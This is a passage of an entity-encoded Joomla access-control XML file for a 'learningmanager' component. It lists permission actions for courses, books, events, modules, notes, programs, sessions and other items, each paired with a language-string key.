description=&quot;COM_LEARNINGMANAGER_EXPORT_DATA_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.import&quot; title=&quot;COM_LEARNINGMANAGER_IMPORT_DATA&quot; description=&quot;COM_LEARNINGMANAGER_IMPORT_DATA_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.batch&quot; title=&quot;COM_LEARNINGMANAGER_USE_BATCH&quot; description=&quot;COM_LEARNINGMANAGER_USE_BATCH_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.version&quot; title=&quot;COM_LEARNINGMANAGER_EDIT_VERSIONS&quot; description=&quot;COM_LEARNINGMANAGER_EDIT_VERSIONS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.create&quot; title=&quot;JACTION_CREATE&quot; description=&quot;JACTION_CREATE_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.delete&quot; title=&quot;JACTION_DELETE&quot; description=&quot;JACTION_DELETE_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit&quot; title=&quot;JACTION_EDIT&quot; description=&quot;JACTION_EDIT_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.state&quot; title=&quot;JACTION_EDITSTATE&quot; description=&quot;JACTION_ACCESS_EDITSTATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.own&quot; title=&quot;JACTION_EDITOWN&quot; description=&quot;JACTION_EDITOWN_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.created_by&quot; title=&quot;COM_LEARNINGMANAGER_EDIT_CREATED_BY&quot; description=&quot;COM_LEARNINGMANAGER_EDIT_CREATED_BY_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.edit.created&quot; title=&quot;COM_LEARNINGMANAGER_EDIT_CREATED_DATE&quot; description=&quot;COM_LEARNINGMANAGER_EDIT_CREATED_DATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application_field.version&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application_field.export&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application_field.import&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATION_FIELDS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application.version&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application.export&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATIONS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;application.import&quot; title=&quot;COM_LEARNINGMANAGER_APPLICATIONS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_APPLICATIONS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;assessment.version&quot; title=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;assessment.export&quot; title=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;assessment.import&quot; title=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_ASSESSMENTS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.access&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.create&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.delete&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.version&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.export&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.import&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.access&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.create&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.delete&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.version&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.export&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;course.import&quot; title=&quot;COM_LEARNINGMANAGER_COURSES_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_COURSES_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;email.version&quot; title=&quot;COM_LEARNINGMANAGER_EMAILS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_EMAILS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;email.export&quot; title=&quot;COM_LEARNINGMANAGER_EMAILS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_EMAILS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;email.import&quot; title=&quot;COM_LEARNINGMANAGER_EMAILS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_EMAILS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.access&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.create&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.delete&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.version&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.export&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;event.import&quot; title=&quot;COM_LEARNINGMANAGER_EVENTS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_EVENTS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.access&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.create&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.delete&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.version&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.export&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;help_document.import&quot; title=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_HELP_DOCUMENTS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.access&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.create&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.delete&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.version&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.export&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.import&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.access&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.create&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.delete&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.version&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.export&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;note.import&quot; title=&quot;COM_LEARNINGMANAGER_NOTES_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_NOTES_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.access&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.create&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.delete&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.version&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.export&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.import&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.access&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.create&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.delete&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.version&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.export&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;question_and_answer.import&quot; title=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_QUESTIONS_AND_ANSWERS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.access&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.create&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.delete&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.version&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.export&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;session.import&quot; title=&quot;COM_LEARNINGMANAGER_SESSIONS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_SESSIONS_IMPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;sms.version&quot; title=&quot;COM_LEARNINGMANAGER_SMSS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_SMSS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;sms.export&quot; title=&quot;COM_LEARNINGMANAGER_SMSS_EXPORT&quot; description=&quot;COM_LEARNINGMANAGER_SMSS_EXPORT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;sms.import&quot; title=&quot;COM_LEARNINGMANAGER_SMSS_IMPORT&quot; description=&quot;COM_LEARNINGMANAGER_SMSS_IMPORT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;program&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.create&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.delete&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.access&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;program.version&quot; title=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_PROGRAMS_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;module&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.create&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.delete&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.access&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;module.version&quot; title=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_MODULES_EDIT_VERSION_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&quot;book&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit.own&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_OWN&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_OWN_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.edit.state&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_STATE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_STATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.create&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_CREATE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_CREATE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.delete&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_DELETE&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_DELETE_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.access&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_ACCESS&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_ACCESS_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;book.version&quot; title=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_VERSION&quot; description=&quot;COM_LEARNINGMANAGER_BOOKS_EDIT_VERSION_DESC&quot; 